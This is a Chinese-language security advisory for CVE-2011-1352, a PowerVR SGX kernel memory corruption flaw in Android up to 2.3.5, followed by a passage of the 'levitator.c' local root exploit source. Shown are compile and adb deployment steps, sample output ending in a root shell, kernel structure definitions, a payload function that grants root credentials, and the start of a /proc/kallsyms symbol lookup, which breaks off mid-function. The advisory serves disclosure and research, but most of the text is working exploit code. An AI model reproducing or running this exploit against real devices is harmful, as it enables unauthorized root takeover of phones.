发布日期：2011-11-03
更新日期：2013-03-07
受影响系统：
Android Open Handset Alliance Android <= 2.3.5
描述：
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BUGTRAQ ID: 57901
CVE(CAN) ID: CVE-2011-1352
Android是基于Linux开放性内核的操作系统，是Google公司在2007年11月5日公布的手机操作系统。
Android 2.3.6及之前版本内的PowerVR SGX驱动程序允许攻击者获取root权限，此漏洞源于发送到 pvrsrvkm 设备的特制用户数据触发了内核内存破坏，导致权限提升。
<*来源：Geremy Condra
链接：?name=CVE-2011-1352
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
/*
* levitator.c
*
* Android < 2.3.6 PowerVR SGX Privilege Escalation Exploit
* Jon Larimer <jlarimer@gmail.com>
* Jon Oberheide <jon@oberheide.org>
*
* Information:
*
* ?name=CVE-2011-1352
*
* CVE-2011-1352 is a kernel memory corruption vulnerability that can lead
* to privilege escalation. Any user with access to /dev/pvrsrvkm can use
* this bug to obtain root privileges on an affected device.
*
* ?name=CVE-2011-1350
*
* CVE-2011-1350 allows leaking a portion of kernel memory to user mode
* processes. This vulnerability exists because of improper bounds checking
* when returning data to user mode from an ioctl system call.
*
* Usage:
*
* $ CC="/path/to/arm-linux-androideabi-gcc"
* $ NDK="/path/to/ndk/arch-arm"
* $ CFLAGS="-I$NDK/usr/include/"
* $ LDFLAGS="-Wl,-rpath-link=$NDK/usr/lib -L$NDK/usr/lib -nostdlib $NDK/usr/lib/crtbegin_dynamic.o -lc"
* $ $CC -o levitator levitator.c $CFLAGS $LDFLAGS
* $ adb push levitator /data/local/tmp/
* $ adb shell
* $ cd /data/local/tmp
* $ ./levitator
* [+] looking for symbols...
* [+] resolved symbol commit_creds to 0xc00770dc
* [+] resolved symbol prepare_kernel_cred to 0xc0076f64
* [+] resolved symbol dev_attr_ro to 0xc05a5834
* [+] opening prvsrvkm device...
* [+] dumping kernel memory...
* [+] searching kmem for dev_attr_ro pointers...
* [+] poisoned 16 dev_attr_ro pointers with fake_dev_attr_ro!
* [+] clobbering kmem with poisoned pointers...
* [+] triggering privesc via block ro sysfs attribute...
* [+] restoring original dev_attr_ro pointers...
* [+] restored 16 dev_attr_ro pointers!
* [+] privileges escalated, enjoy your shell!
* # id
* uid=0(root) gid=0(root)
*
* Notes:
*
* The vulnerability affects Android devices with the PowerVR SGX chipset
* which includes popular models like the Nexus S and Galaxy S series. The
* vulnerability was patched in the Android 2.3.6 OTA update.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#define CONNECT_SERVICES 0xc01c670c
#define DUMP_SIZE 161920
typedef struct {
uint32_t ui32BridgeID;
uint32_t ui32Size;
void *pvParamIn;
uint32_t ui32InBufferSize;
void *pvParamOut;
uint32_t ui32OutBufferSize;
void * hKernelServices;
} PVRSRV_BRIDGE_PACKAGE;
typedef int (* _commit_creds)(unsigned long cred);
typedef unsigned long (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
ssize_t
fake_disk_ro_show(void *dev, void *attr, char *buf)
{
commit_creds(prepare_kernel_cred(0));
return sprintf(buf, "0wned\n");
}
struct attribute {
const char *name;
void *owner;
mode_t mode;
};
struct device_attribute {
struct attribute attr;
ssize_t (*show)(void *dev, void *attr, char *buf);
ssize_t (*store)(void *dev, void *attr, const char *buf, size_t count);
};
struct device_attribute fake_dev_attr_ro = {
.attr = {
.name = "ro",
.mode = S_IRWXU | S_IRWXG | S_IRWXO,
},
.show = fake_disk_ro_show,
.store = NULL,
};
unsigned long
get_symbol(char *name)
{
FILE *f;
unsigned long addr;
char dummy, sname[512];
int ret = 0;
f = fopen("/proc/kallsyms", "r");
if (!f) {
return 0;
}